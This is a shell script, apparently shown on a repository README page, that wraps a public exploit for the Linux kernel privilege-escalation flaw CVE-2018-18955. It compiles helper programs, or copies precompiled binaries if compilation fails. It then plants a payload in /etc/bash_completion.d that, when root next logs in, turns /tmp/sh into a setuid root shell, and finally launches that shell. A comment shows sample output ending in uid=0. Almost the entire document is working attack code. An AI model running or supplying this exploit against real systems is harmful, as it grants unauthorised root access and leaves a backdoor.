README.md
Rendering markdown...
#!/bin/sh
# wrapper for Jann Horn's exploit for CVE-2018-18955
# uses bash_completion technique
# ---
# test@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955$ ./exploit.bash_completion.sh
# [*] Compiling...
# [*] Writing payload to /etc/bash_completion.d/subuid ...
# [.] starting
# [.] setting up namespace
# [~] done, namespace sandbox set up
# [.] mapping subordinate ids
# [.] subuid: 165536
# [.] subgid: 165536
# [~] done, mapped subordinate ids
# [.] executing subshell
# [*] Waiting for root user to login ...
# [+] Success:
# -rwsrwxr-x 1 root root 8384 Oct 4 13:46 /tmp/sh
# [*] Cleaning up...
# [*] Launching root shell: /tmp/sh
# root@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955# id
# uid=0(root) gid=0(root) groups=0(root),1001(test)
rootshell="/tmp/sh"
bootstrap="/etc/bash_completion.d/subuid"
command_exists() {
command -v "${1}" >/dev/null 2>/dev/null
}
if ! command_exists /usr/bin/newuidmap; then
echo '[-] newuidmap is not installed'
exit 1
fi
if ! command_exists /usr/bin/newgidmap; then
echo '[-] newgidmap is not installed'
exit 1
fi
if ! test -w .; then
echo '[-] working directory is not writable'
exit 1
fi
echo "[*] Compiling..."
if ! gcc subuid_shell.c -o subuid_shell; then
echo 'Compiling subuid_shell.c failed'
echo 'Using precompiled binary'
cp bin/subuid_shell .
if [ $? -ne 0 ]
then
echo "Could not copy precompiled binary"
exit 1
fi
fi
if ! gcc subshell.c -o subshell; then
echo 'Compiling gcc_subshell.c failed'
echo 'Using precompiled binary'
cp bin/subshell .
if [ $? -ne 0 ]
then
echo "Could not copy precompiled binary"
exit 1
fi
fi
if ! gcc rootshell.c -o "${rootshell}"; then
echo 'Compiling rootshell.c failed'
echo 'Using precompiled binary'
cp bin/rootshell "${rootshell}"
if [ $? -ne 0 ]
then
echo "Could not copy rootshell to '${rootshell}'"
exit 1
fi
fi
echo "[*] Writing payload to /etc/bash_completion.d/subuid ..."
echo "echo 'if [[ \$EUID -ne 0 ]]; then exit; fi; /bin/chown root:root ${rootshell};/bin/chmod u+s ${rootshell}; /bin/rm ${bootstrap}' > ${bootstrap}" | ./subuid_shell ./subshell
echo "[*] Waiting for root user to login ..."
while [ ! -u "${rootshell}" ];
do
sleep 15;
done
echo '[+] Success:'
/bin/ls -la "${rootshell}"
echo '[*] Cleaning up...'
/bin/rm subuid_shell
/bin/rm subshell
echo "[*] Launching root shell: ${rootshell}"
$rootshell